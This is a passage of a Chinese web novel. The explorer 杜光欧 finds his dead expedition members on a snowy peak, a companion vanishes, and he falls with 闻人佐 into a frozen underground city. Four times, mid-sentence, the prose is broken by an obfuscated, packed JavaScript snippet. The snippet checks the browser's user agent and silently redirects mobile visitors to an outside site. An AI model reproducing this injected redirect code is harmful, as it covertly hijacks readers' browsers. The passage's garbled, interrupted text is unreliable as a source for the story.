“你在开玩笑吗?我以为入口会在山腰或者哪里,可是我们都快爬到山顶了。”杜光欧没什么好脾气地说道,“这和直接翻越横古山脉有什么区别?葛马,你做事的时候能过过脑子吗?这样下去,元城根本不能算突破口,我们白跑了一趟。” “你又骂我!”葛马愤愤不停,但是,他的头被衣服套住,那让他的愤怒没什么威慑力,“我不是说了,山脚下的出入口被封住了,我们得想办法先进元城,再把山底的入口砸开。” “所以一开始这条路线便没有跑通。如果你在军队中,你已经因为谎报军情而被处死了。”杜光欧说道。 葛马和自己的衣服纠缠着,怒气冲冲,“你威胁我?你信不信我不干了!” 闻人佐走了过来,帮葛马从那块硬邦邦的外套里挣脱出来。他十分非常熟练地为两人打圆场,说道:“只要解决了问题,一切都好说。好了,不要因为争吵浪费力气,我们还有一段路要走。” 闻人佐是这伙人里年纪最大的,小崽子们在他的威慑下纷纷闭了嘴。这里没什么地位尊贵卑贱,到了这天寒地冻的雪山峰顶,人们都变得像想要烧光大山的火柴棍一样可笑,哪里还分什么高低。 杜光欧自认是野外生存的专家,而葛马也是辗转各地的信使,闻人佐大元帅带着的勘探人员也都不是吃素的,但是,他们还是被这雪山折磨得不行。那些一路护卫他们到山角下的士兵在半山腰就走不了了,在残酷的自然面前,他们的力量还是太过渺小。 人们升起了火,火光照亮了木屋,同时也将温暖传递开来。像是恨不得整个屋子都烧起来似的,那火焰非常得膨胀,但他们又不能真的烧了庇护所,所以又将火势慢慢压了下去。 这么折腾了一趟,身体也暖和了起来。 但杜光欧觉得,他大部分还是被气得四肢发热。 他瞥了眼葛马,后者正坐在墙边,把他背后的斜挎包拿到身前,在里面翻翻找找。它几乎与葛马形影不离,里面好像是个无底洞一般,总是能见红头发的男人满头大汗地在里面找东西。 有时候,他想说:葛马,你就不能给你的包裹加几个分隔层吗? 但是,杜光欧始终没有提醒他。葛马乐意折腾自己。他也懒得废话。 这时候,一块熏肉出现在眼前。对面,一个女勘探员凑过来,没说什么,笑盈盈地给他递来食物。杜光欧接了过来,说了声谢谢。他还不饿,但现在是补充体力的好时机,多少还是得吃点东西。 他用牙齿撕扯着那块熏肉,百无聊赖地盯着周围。雪太大了,他们只能暂时停留在这个木屋里。这个屋子看上去已经很久没有使用,没有一点生存过的痕迹。 他看了一圈,目光还是不由自主地落在那个红头发的男人身上。 葛马还在包里翻找着什么,累得直流汗,却好像还没有找到他在寻找的东西。而杜光欧就那么看着,悠闲地啃着手里的熏肉,他倒是要看看,这家伙到底什么时候才能把东西拿出来。 他现在的心情,就仿佛在观赏某种自娱自乐的豢养动物一般。 终于,葛马露出了一个开心的笑容,从斜挎包里掏出来一个扁平的物件,用袖子精心擦拭,吹去上面的灰尘,把它当个传家宝一样捧着,痴笑着盯着它。 杜光欧很好奇那是什么,但是介于他和葛马刚才发生了争吵,现在要是像个没事人一样过去问那是什么,多少显得有些没心没肺,自己生下来就不是那种大大咧咧的性格。 葛马几乎是温情地看着它,目不转睛。 杜光欧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589174|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实在是好奇得不得了,于是乎,他朝旁边那个向他递来熏肉的女勘探员小声说道:“能帮我个忙吗?问问那个人手里是什么东西。” 女人看过去,笑着,没有问杜光欧为什么不自己问。她拔高了声调,朝那个墙边上的人喊道:“领队小兄弟,你手里拿着什么呀?” 这段在雪山的日子,大家的关系熟络了些,虽然杜光欧记不住每一个勘探员的名字,但是,这些面孔日夜在眼前晃荡,不熟也熟悉起来了。 相反,勘探员们对杜光欧、闻人佐和葛马几人却是认识得很清楚,毕竟他们是这只队伍的主力构成。 葛马听到了女人的问话,抬起头来,笑嘻嘻地,把手里的东西举起来给她看。 借由这个机会,杜光欧也看清了他手里是什么东西。那是一个扁平的画框,中间有一张白色的纸,纸上面贴着一株绿色植物,不知是压上去的,还是粘上去的。 葛马放下了包裹,朝女人走过来,蹲在她面前,把手里的东西递给她,兴致勃勃地介绍道:“这是我的珍藏,你猜猜它是什么?” 杜光欧装作不经意看过去,那框内的,是一株有着四个瓣的植物。他不禁疑惑,这有什么好稀奇的?葛马为什么盯着它傻笑? 女人接了过去,猜测道:“这是某种苔藓或者是草类?奇怪,我没见过长成这样的植物。” 勘探员们都有着丰富的野外知识,他们说没见过,那代表真的是相当稀少。 杜光欧拄着自己的下巴,看似不经意地问道:“一株植物而已,为什么要精心地框起来,随身携带着?” “因为这是很少见的一种花。”葛马睁着他亮晶晶的绿眼睛,像是早就把和杜光欧刚才的争执抛到了脑后去,一点缔结都没有,向他热情地解释道,“名字叫玫瑰。怎么样,好看吧?” 勘探员女人把那个框交给杜光欧传阅,后者盯着那绿色的、四个瓣的植物,说道:“花?花早就灭迹了。你怎么搞来的。” 葛马扬起了鼻子,像是很骄傲一般,“这你就不知道了吧,我有的是办法。” 见他那副模样,杜光欧就忍不住捉弄,“可这不是玫瑰啊,葛马,你是不是弄错了。” 葛马瞪大眼睛,像个领土受到侵犯的野兽,“怎么可能?这就是玫瑰。” “玫瑰不长这个样子。”杜光欧道。 葛马模样很是不服,问道:“你见过?” “我没见过。”杜光欧道。虽然他没见过,但玫瑰也不可能只有绿色的四个叶瓣。书里画的花都是五颜六色的,根本没有这种朴素的颜色。虽然史书中从未书写花的名字,但是杜光欧断然认定玫瑰不该是这个样子,“反正它不是玫瑰。” 葛马一把从杜光欧手里夺回自己的宝贝,“你说不是就不是?你没见过,就别在这胡言乱语了。” 红头发的男人哼了一声,站起来,离开了他们,又回到自己那个墙角,和那株名叫“玫瑰”的植物作伴。 186. 元城初见2 他们在木屋里待了一阵子,然而,风雪却没有停歇的迹象。天色渐渐暗了下去,尽管白天的时候也挺灰暗的。有人提出意见,说反正也无法行进,那不如就在这里睡上一觉,积蓄些体力。 他们很快通过了这个提案,大家走到这里都耗费了不少体力,很多人都累得不行。 于是乎,他们很快地将班次排开来,部分休息,部分值班。不管暴风雪更小还是更大,他们都需要及时知道情况。 就这么浑浑噩噩地过了许久,杜光欧觉得他们可能在这个木屋里待了有一天多,终于,天空开始放晴,不再有阴云缠绕,那些狂风和暴雪也离开了这个山头。 人们从他们躲藏的木屋里出来,山顶已经覆上了一层新雪,它蓬松、厚实,掩盖了他们来时的痕迹。 这时候,离黄昏已经很近了,太阳在地平线上流连,马上就要坠落下去。 虽然天马上就要黑了,但是,他们不能停歇,队伍已经得到了充足的休息,是时候行进了。而且,他们也不知道下一场暴风雪什么时候会来,雪山峰顶的脾气总是变化多端,他们得趁着还能走动的时候,尽快抵达目的地。 因为山顶过于寒冷和曲折,还有许多不便通过的小路,所以他们把驯鹿放在了半山腰,让它们在仍然有烟火人气的地方待着,而剩下的人则以自己的肉身向上攀爬。 队伍由葛马领头,他们收束成一条线,前人在新雪中踩出深陷的雪坑,而后人走在前人的脚印上,节省不必要浪费的体力。 整只队伍很安静,他们熟练地变向,标记路线,规避风险,一切都是那么得心应手。 偶尔,杜光欧会跑到前面去充当头阵,用自己的肉|体试探前路的凶险。众人都反对,但拿他没办法,只能抱怨他激进。但杜光欧乐此不疲,他拥有回溯力,怎样的危险都奈何不了他,根本不足为惧。 而且,这么做,让他找回了曾经的感觉。很久之前——不,尽管只是一年多以前,但现在感觉来,似乎已经过去半辈子那么久了——他在远征队里的时候,便是如此和队友们打配合,寻找安然无恙的前进路线。 他对这些手到擒来,不如说,杜光欧非常怀念这种感觉。 在白雪的漫漫长路中,他不禁冒出一种疑惑:他还能回到那样的生活吗? 答案是,几乎不能。 得出这个答案,他感到有些怅然。这短短的时间内,他的世界已经发生了天翻地覆的变化,父兄遭人杀害,一直生活的城市被继母掠夺,而为了夺回属于自己的一切,他去甾染,穿越白鸣谷,到访摄文,现在,又在这冰天雪地的山顶上找一座古老城池的遗址。 他已经走出来太远,想要回到以往的生活之中,显然是不不大可能了。虽然肉|体有可能回到最初生活的地方,可是物是人非,有些东西已经回不来了 就在他陷入的沉思时,队伍前方传来了一阵骚动,一字型的队伍停了下去,像是一只受惊的长虫,僵硬了身躯。 杜光欧探出身子,往前看去,想要知道前面发生了什么。 他看到了一块巨石,葛马和一两个勘探员便围在那周围。 于是离开队伍,在一旁的厚雪上开辟一条新路,缓慢、艰难地凑了过去。 他听到人们的交谈声,先是闻人佐大元帅的声音,“……这个模样,应该是撞在了岩石上。” 一个勘探员环顾四周,道:“东边有一个斜坡,很陡,可能是从那里滚落下来的。” “也有可能遭遇了什么。”另一个勘探员说道,“比如雪崩。” 闻人佐:“真意外啊,我以为我们是唯一会来攀爬这座山峰的人。” 杜光欧走上了前,看到了人们在围观的东西。那是两具尸骨,以令人困惑的姿势纠缠在一起,他们的肉|体被冰冻住,没有腐烂,但透出一种死人才有的青色,身边散落着许多东西,那像是从他们的背包里掉出来的。 葛马盯着这两个人,说道:“他们看起来很亲密。” “一男一女,生前可能是恋人吧。”一个勘探员说道。 红发男人叹息了一声,但是,他耷拉着眉毛的同时,却是欣慰地笑起来,“希望他们死前没什么痛苦。唉,这样也挺好的,不是吗?和自己的真爱死在一起,即便是死亡也无法拆开他们……真让人嫉妒,我也想和自己所爱之人葬于一处。” 勘探员打趣道:“领队,你说什么呢,羡慕死人干什么?” “但是他们的模样看上去很美好。”葛马低下头来,几乎是用自己才能听见的声音,喃喃道,“他们还能死在一起。但我或许已经没有这个机会了。” 闻人佐此刻说道:“走吧,不要在这里久留,我们还有路要……” 他话没说完,噗通一声,什么东西砸在地上的声音打断了他。 众人面面相觑,只见血皑的王室跪在这两具尸体前,雪埋住了大腿,灌入脚踝,他却浑然不知一般。 谁也弄不清楚发生了什么,而杜光欧只是一言不发,拨开那些掩埋尸体的雪,将他们的身躯和行李一并挖出来。 闻人佐讶异,“阁下,你这是在……” 杜光欧继续着手上的动作,声音有些冷讷,说道:“我认识他们。” 闻人佐看过去,迷茫地重复道:“……认识这两个人?” “啊?”葛马发出大大咧咧的声音,“认识?” 红发男人来回看着杜光欧以及那两具尸体,不停眨巴着眼睛。看了好一阵子,像是渐渐想到了什么一般,他脸色震惊起来,“啊,难道是……” 杜光欧将那两具尸体刨了出来,撇开他们身上的雪,让他们青紫的脸露出来。 葛马的声音响起,“贵人,我记得你说过你曾经带领过一只远征队……” 杜光欧盯着眼前两张毫无生息的脸,他无比确信,这是他的队员们。这两人是洛笛和小软糖,是他队伍里的一对夫妻,也是除了自己和夏潜以外,坚持到最后的两个人。 “你们居然在这里……”他咬着牙,手指微微发颤,感到一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589175|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵久违的情绪波动,那已经很久没有出现在自己的身体里。自从从血皑的王城里逃出来,就已经很久都没有感受过了,“居然是在这里……” 最后一次失败的远征,他整只队伍,在雪山的摧残下,全军覆没。 他们迷失了方向,被无名且无情的雪山夺去了性命。 杜光欧一直很想回到那座雪山,找到他一直以来遗失的队员们,想法深埋他的心底,这件事他无论如何都要去做。 但是,没想到,兜兜转转,机缘巧合,他居然在复仇的道路上就这么偶遇了他们的遗骸。 然而,他没有带来雪橇,身边没有能够运送他们的任何载具,两手空空,也不可能拖着他们前行。 一时间,杜光欧像是手足无措的孩子,跪在朋友的尸体前面,不知该如何是好。 摄文大元帅的声音在他身后响起,“是对你很重要的人吗?” 杜光欧听闻,点头,“……嗯。” 闻人佐说道:“我们当下没有办法运走他们,但或许将来可以回来。” 杜光欧道:“……嗯,我知道。” 成年人的理智让他从自己的情感上剥离下来。他还有必须要去做的事情,不能因为一时的情绪耽搁。 一边这么告诉自己,一边,他麻木地、无动于衷地从站起来,拾起队员们的行李,敞开,发现里面的食物早已空空如也。也是,记忆里,他们所有的食物都消耗空了,几个人背着空空荡荡的行李,在这片雪山上游荡了许久。而走到这附近的时候,突然,小软糖踩空了脚下,洛笛为了抓住她,和她一起掉了下去,两人一起消失在了雪山沟里。 那一刻开始,他的队伍里就只剩他自己、夏潜,以及一只病恹恹的驯鹿。 然后……就是现在了。 杜光欧从不觉得这两人会活下来,所以,这一幕在他的预期之中。 可他还是很难受。 “元帅,让队伍行进吧,我很快就跟上去。”杜光欧低声说道。 闻人佐听闻,应了下来,“好,别耽搁太久,小心走散。” 队伍开始行进,只留杜光欧一人在这巨石边上。他翻找了一番队员的行李,从包裹中摸到了一个册子,打开,那上面是洛笛的字迹。 杜光欧简单看了几段,满眼都是洛笛愤慨或者绝望的呐喊。那个男人最初以为能活下去,他说他想回家洗个热水澡,而不过几页之后,他就在考虑应该把什么东西作为遗物交给队长。他的字迹生灵活现,可他本人却冰冷地躺在雪地里。 突然,一种翻腾的感觉冲击着杜光欧的胃部。 他不能再看下去了。 一把合上了册子,将它收回了自己的口袋里。 杜光欧站定在原地,看着自己的队员们。洛笛和小软糖的表情都很宁静,就像是和这漫天风雪化为了一体,他们的手握在一起,即使身碎在这巨石之下也没有分开。 “等我,我很快就来接你们回家。”杜光欧将自己的手掌附上去,暗暗发誓。 187. 元城初见3 洛笛和小软糖在这里,就证明,其他的队员们应该也离这不远,就算不在这个峰顶,也会在临近的另一个。 可现在,他暂时还不能以他们为最优先。 他感到一阵愧疚,觉得对不起他们。但是,为了所有人都能回家,他必须先打完眼前的这一场仗,把血皑夺回来。 杜光欧铲来一些雪,将他们的尸体掩埋,以免狂风侵扰他们,或有野兽打扰他们的安宁。 做完这些后,他站了起来,注视两人良久。 某一刻,凝滞的目光像断了线的风筝,啪地一下,倏然从他们的身上移开。 杜光欧坚定地看着前方,想要跟上已经远去无踪的队伍。 然而就在此刻,一阵熙攘的动静在他身后传来。 他转过头去,看到一只乌泱泱的队伍正踏过雪地向他走来,那是刚离开不久的勘探队。 杜光欧一愣。 他们怎么回来了? 一人和一队汇合,为首的闻人佐看到他,目光也是诧异,“阁下,你怎么跑到我们前面来了?” 杜光欧不明所以,眨眨眼,“我一直地原地待着。” 这回轮到闻人佐有些愣住,他四下看了看,发现了旁边的巨石和巨石边上两个被掩埋的尸体,“这……怎么回事?” “我们在原地打转!” 队伍里有人点明了这件事。 人们发出了阵阵骚乱,闻人佐安抚道:“不要惊慌,葛弟在哪?让他上前面来带路。” “他不在我这。”队伍的前部发出回应。 “他没在队伍中间!”队伍的中部有人喊道。 “不在,领队不在队伍末尾!”队伍的后部传来响应。 闻人佐从最前方出列,艰难地踏着厚雪,往队伍后面走去,“怎么回事?他刚才给我指明了路线,说要收尾,就跑到了队伍后面去。” 队伍里有人回答道:“我没看到他往后走啊,元帅。” 这时,后方的勘探员喊话道:“元帅,领队来过!他说路线有问题,自己得去前面领路,然后就跑到前面去了!” 杜光欧跟上闻人佐,一一略过那些队伍中的面容。他们有人一头黑发,有人一头金发,眼睛有灰色的、黑色的、碧蓝的,可怎么看,就是没有一个红发绿眸的人。 “怎么回事……?”闻人佐迷茫地念叨着。 杜光欧摘下自己的围巾,让嘴巴露出来,大声喊道:“葛马!” 紧随他之后,整个队伍都开始传呼,“领队,你在哪?” “红发帅哥,你去哪了!” 然而,他们呼唤了许久,除了风和雪以及山峰的低鸣,没有任何其他的响动回应他们。 葛马就像是人间蒸发了一般,突然消失了。 杜光欧嘀咕着,“这家伙,这种关键时刻,跑哪去了?” 有人推测,“他不会是掉下山崖了吧?” 队伍后段的人回答,“不可能,我们一直盯着整只队伍的情况呢!根本没见有人掉队。” “要不再走一遍,看看是不是在哪把他不小心弄丢了吧!”有人提议。 闻人佐凑过来,和杜光欧说道:“他刚才给我指明了方向,但是我们按照他给的方向走,结果却是在原地打转。” 杜光欧问:“葛马说怎么走?” 闻人佐让开身子,指着远处更高的山峰,道:“他说先朝那个山峰走,右手边会出现一片岩石群。其中一块最高的岩石和那座最高的山峰的连线上,就有元城的入口。” 杜光欧皱着眉,认真地聆听着,一字不差地记住了这个描述,“好,我先去探探路。” “我跟你一起。”闻人佐说道。 “我自己就行,元帅留在这里安抚队员吧。”杜光欧道。 他往怀里一掏,拿出了毒药匣子,现在正是用它的时候。 它做得十分小巧,而带着手套的手指太粗了,根本打不开。于是乎,他咬住自己的手套,将它从手上摘下来。 手背感到一阵凛冽,像是甫一露出来,便被冷空气凝霜了一般。 他趁着手上还有热气,打开了那个匣子,一口将药片吞了下去。 倒计时开始了。 且先让他看看怎么走出当下的困境。 闻人佐紧盯着他的动作,半晌,他有些犹豫地道:“……阁下,最初在姜昆维接待你的宴会上,你反复地将这个匣子打开、关上,我以为你从来不吃里面的东西。” 杜光欧一滞,突然,他难得地玩心大起,说道:“哦,要不了多久,你还是会这么想。” “什么意思?”闻人佐问。 “没什么。”杜光欧说道。可他又突然想起来,毒药已经吞了下去,时间过一阵子就会重置,这时候自己无论说什么,闻人佐都会忘记。所以,他无妨随意一点,“姜昆维第一次接待我的时候,我不太了解你们,所以反反复复逐一去试试了一番你们的真话。” “……”闻人佐听着,并未说什么。 “那个时候,我就知道姜昆维有问题了。”杜光欧道。 “你……”闻人佐欲言又止。 杜光欧抬腿要走,打断对方的话,“好了,我去了,元帅。” 闻人佐上前两步,拦在杜光欧面前,“你刚才说……” “之后再解释,先把眼前的问题解决了。”杜光欧绕开了他。 他听到闻人佐回去嘱咐队员留守原地,然后大元帅的脚步声又跟了上来。 果然还是拦不住他。杜光欧心想。这次勘探开始前,姜雨千叮咛万嘱咐不要让大元帅干太累的活,他的伤还没好彻底,而杜光欧也赞成这个提议。可这个大元帅自己有自己的想法。 杜光欧想了想,反正现在对方身处自己的“死亡分支”里,就算出了什么事,这段经历也会被历史抹去,所以发生什么也没关系。 于是乎,他没再阻止对方跟上来的行为。 他们一前一后往最高峰的方向走,不过多久就找到了那片葛马所说的岩石群。 来到最高的岩石旁,看向远处的最高峰。在他们视线的方向,便存在这葛马所说的元城入口。 “走吧。”杜光欧简单说道。 两人再度启程,往最高峰走去。 走着走着,他们又看到了一块巨大的岩石,杜光欧心下一沉,他总觉得,它和他们刚才在其周围发现洛笛与软糖的那块很像。 莫非又绕回来了? 走到了近前,才发觉有些不一样。同样是岩石,但是,这块岩石旁边只有一个裸露的尸体,并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593975|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是两个。 杜光欧走上去,发现这具尸体身体朝下,脸部埋进了雪里,和它凝固在了一起。虽然看不见脸,但是,从这个人身上的穿着来看,他很明确地知道,这人曾经是远征队的一员。 这个身形,是大胖子吗?还是利锋?他不好辨别。 不论如何,他知道了另一个队员的位置。 闻人佐凑了过来,道:“又是你认识的人?” 杜光欧道:“嗯。” “你曾经来过这里?”闻人佐问道。 杜光欧:“来过,但我们迷路了,在这山上徘徊了很久……” 话说到一半,突然,杜光欧感觉自己往下陷了一点。他抬起一条腿,然而,另一条腿又开始往下陷。 闻人佐看到了他的举动,问道:“怎么了?” “别靠近我。”杜光欧出声制止,“这里有暗坑,别过来。” 话语的空档,身形猛地一下沉,雪已经没到腰部了。 闻人佐当即趴下来,往杜光欧的方向伸出一只手,“抓住我。” 杜光欧抓住对方,然而,结果却是带着他一同下陷。他猛然松手,“这样不行。” “你得抓着我!”闻人佐大声道。 “没事,就这样吧。”杜光欧说道,反正不管会遇到什么,他都有重新来过的机会。 “陷进去就出不来了!”闻人佐急迫地说道。 雪地就像是流沙,他没有挣扎,但还是越陷越深。 突然,一个阴影朝他扑过来。杜光欧一惊,那是闻人佐。大元帅牢牢抓住他,把他往上拽,但结果是他们两个都深陷其中。 “别,没必要……”杜光欧说道。 可闻人佐完全不听他的,即使在一同陷落,还是紧紧地抓着他的胳膊不放。 就这么一直下沉,杜光欧彻底埋进了雪里,然而,身体还在下陷、下陷,像是没有尽头一般。 这个过程不知持续了多久,就在他疑惑回溯力为什么还没发动的时候,他脚下一空,突然掉了下去,咣当一声,像是砸进一个铁罐子里。 而后,身体开始不由自主地往下滑,他感觉自己好像身处一个光滑的管道里,身上的残雪让下滑变得更加顺畅,论他怎么撑住管壁都停不下来。 突然的某一瞬间,他感觉身体一空,像是被抛了出去。他下意识抱住自己的头,然而,疼痛没有袭来,他很快落在地上,滚了几圈便停了下来。 睁开眼睛,只见自己面前有根巨大的粗铁管,往下看去,脚下是网格形的地面,再往下是镂空的,微弱的光从底下打上来。 他站起来,还没等想明白这是哪,就听见身后的管道里传来了阵阵碰撞的声响。 杜光欧反应过来那是什么,侧身让开,当一个黑影从那管道口扑出来的时候,他眼疾手快,用身体替对方垫了一下,帮他平缓地停了下来。 那个身影呻|吟了一声,抬起头来,显然,他也被整个过程甩得很晕,“怎么回事……这是哪……” 杜光欧看了眼对方,元帅棕色的头发在昏暗的灯光下显得倒像是黑色。他说道:“我们好像掉在什么地方了,元帅。” 闻人佐晃了晃脑袋,他的手撑在地面,便那么望下去,看到了下方的空间,“这是个……房间?” 188. 元城初见4 “看着像。”杜光欧说着,他观察了一遍四周,看到了一个通向下方的梯子,走过去,踩住梯子一步步爬了下去。 闻人佐紧跟在他的后面,两人的都下到了房间里来。 他们看着周围,暗淡的灯光中,室内陈列着一排排人高的容器,有管道从中伸出,延伸到不知何处。 杜光欧摸了一把自己的脖子,又从怀里掏出药匣,药没了。 刚才开始他就觉得奇怪,按理来说回溯力早该发动了,可到现在还没有什么动静,难道是药效过了吗? 之前从来没有发生过这种情况,怎么突然就…… 难道是毒药在低温下失效了? 好在他没做出什么出格的事,只是和闻人佐说了一备意味不明的话,而大元帅看起来也没有深究的意思。 他思考的间隙,闻人佐便在室内打转。他来到了那些容器旁边,脚步一顿,说道:“阁下,你来看看这些。” 杜光欧听闻,走过去,探头,从同一侧观察容器。 下一刻,视野里出现了一张苍白的脸。 顿时,背后一阵毛骨悚然,杜光欧脸色泛白,“这是什么?” 闻人佐也提出疑问,“我们这是掉到什么地方来了……” 那些容器中的人不知是死是活,被冻在冰中,封在容器里,没有一点响动。 就在聚精会神看着的时候,突然,他感受到了一闪而过的视线。 杜光欧猛然回头,向房间的角落看去,但是,阴影里谁也没有。 可他明明感受到了强烈的注视,自从他离开甾染开始,就有那恒久的凝望时刻伴他左右。 这种一举一动都被监视的感觉让他非常难受,他总想找到源头,但是,每当感受到视线、向对应的方向看过去的时候,他什么都找不到。 没有人影,也没有任何迹象。 当下,大元帅巡视了一圈,找了一扇门。他轻轻推开,探头,观察了一番外界的情况,而后对杜光欧说道:“来看看这里。” 杜光欧闻言,从房间的阴影中抽回了视线。他依言来到门旁,在门缝之间探出头去。 那外面连通的是另一个更加开阔的房间,一个巨大的炉子立在中央,从里面冒出丝丝热气。无数的管道连通巨炉,像是在向它供给能量一般。 炉子旁边有一张椅子,它现在是空的,旁边的地上放着一只碗、一本书、一副手套,而这些东西的主人似乎不在此处。 两人走进巨炉所在房间,它是圆形的,四周的墙壁上连通着许多扇门。 杜光欧给了闻人佐一个眼神,对方明白了他的意思。两人开始一扇扇打开那些紧闭的房门,试图探明这里有什么、又究竟是个什么地方。 不过多久,杜光欧找到了一条离开的道路。说是离开,其实是发现了一条幽深的走廊,它看上去能带他们离开这个大火炉所在的房间。 两人走进有些阴暗的隧道里,杜光欧在前,闻人佐在后。边走着,闻人佐边问道:“你有什么头绪?” 杜光欧侧了侧头,结合刚才所看到的一切,说道:“我们应该是身处一个地下空间。” “我也这么想。”闻人佐边走边说,“这里有人生活的痕迹,但更令人在意的是那些装着人体的冰冻容器。” “葛马曾经和我说过一些传闻。”杜光欧说,“他说,百年前,海水涨潮,洪水一度淹没了横古山脉的东侧,而后,它山体里的寒冰便终年不化。” “而我们现在就处在横古山脉东侧的山体中。” “这里有没有可能就是元城?”杜光欧有些突兀地说,紧接着为自己的推测解释道,“葛马说元城就在山脉里。” 闻人佐顿了顿,似乎也接受这个推测,“所以葛弟说的元城入口……是指我们掉下来的管道吗?” “他那人不靠谱。”杜光欧弯腰,钻过了一处半开的金属门,“把那种通道称为入口,我不知道他脑袋里是怎么……” 他话只说了一半,人被眼前的景象惊住了。 离开了那幽暗的隧道,一处宽阔的空间进入了他的视野。这是一个被岩石包围的巨大洞穴,面前是一条贴着山体的栈道,尽头没入了洞穴的深处,而他们的右手边耸立着一个男人的宏伟雕像,雕像的后面,有一栋嵌入岩壁的建筑。 杜光欧从来没见过盖得那么高的楼,即便在摄文也没有。 它看起来有三十多层高,这要怎么上下通行?光凭楼梯腿都能走断了。 两人沿着栈道往前走,目光无法离开那巨大的造像和高楼。随着角度的变化,雕像的面容出现在杜光欧的视野中,他看着那张脸,顿时觉得有些熟悉。 “那是……”他迟疑地低声说道,“黄王?” 那个造像,和黄守之森圣祠中的造像一模一样。虽然黄王建立琉城的故事,他几乎已经听腻了,但是,从来没想到,在这个传说中的地下城市,居然还能看到他。 不过,在这里看到这个旧时代的造像,反而将一些不清晰地脉络联系了起来。 关于黄王,关于黄王的子嗣黎礼,关于黎礼的目的地元城。这轻而易举地便穿成了一条线,变得荒诞又合理起来。 “黄王?”闻人佐像是未曾听说这个名字,发出疑问。 “……他是一个开拓者。”杜光欧如此形容道。他认定自己这么说没错,如果黄王来自元城,那么,他能去往挚忘峡,抵达天骨盆地,这代表他是一个不亚于自己的探索者。而黄王在此基础上,建立了城市,安定了子民,这使他成为了一个少见的创始者。杜光欧收回视线,继续往前走,补充道,“大概是这座城市的领导人一类的。” 他们拐过了拐角,从那个巨大的岩石空间里走了出来。 杜光欧很少见到这样的地貌。曾经的远征途中,他往往是在这片大地的顶部探索,尽管他去过很多地方,但是,还从未进入过一个地下城市。 这种在山体内部的空间,杜光欧记得它有一个学名,叫溶洞。他从未见过溶洞,但是,无疑,他们所处的这个地下空间符合这个定义的一切描述。 他们继续往前走,脚下的栈道在往前延伸。 依然是杜光欧在前,闻人佐在后。他已经习惯了打头阵,比所有人都先面临危机。 因此,当他们穿越了一条狭窄的空中隧道后,再绕过崎岖的岩石,杜光欧率先看到了一个辽阔、庞大的地下城市。 他猛地驻足,眼睛大睁,完全不敢相信眼前所见到的一切。 这里是真实的世界,还是只是他的幻觉? 闻人佐走上前来,亦是发出了一声感叹。 实在是太超乎想象了。 在他们面前的,是一条修建得笔直的空中走廊,走廊用一根根深不见底的石柱支撑,石柱群的底端没入了溶洞的下层。 走廊的尽头是一栋五层结构的建筑,每层开着一扇窗,整体的模样有点像一个监视用的哨塔。 哨塔后面,是一片有些朦胧的景色, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593976|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有着非常深的景深——那是一座建立在岩壁之间的城市,以崎岖的岩石作为基底,以岩壁作为天空。那尖锐的、分布各处的钟乳岩,像一把把锋利的刀剑,直指着下方的城市。 城市中建筑的风格非常少见,可以说和外界没有丝毫干系,仿佛这里的文明是天外来物一般。有庞大的建筑屹立于各处,那些建筑看上去十分光滑、坚韧,却不知道有怎样的用途。 只是,此刻,整座城市正散发出阵阵灰蒙蒙的迷雾,那是冰霜的寒沫,也是文明消亡的死寂。 直到现在为止,杜光欧没有见到一个活人,仿佛这整座城市都陷入了永冬的沉眠,在寒冰之中,万物休憩。 抬眼望去,并不能看到地下城市的尽头,地底溶洞似乎在无尽地蔓延。 杜光欧在心中估计着,这座元城的大小,可能已经达到了与血皑城一样的规模。 这样的一座城市,居然悄无声息地存在于地下。 为什么从没听说过它? 究竟是有人刻意隐瞒这一切,还是能够散播这里的消息的人都已经不在了? 这时候,闻人佐说道:“阁下,你觉不觉得有点奇怪……” 杜光欧闻言,问道:“哪里?” 闻人佐说道:“我们掉到了很深的地下,本不该有任何的光亮透进来,可是,为什么我们能看清这里的事物?” 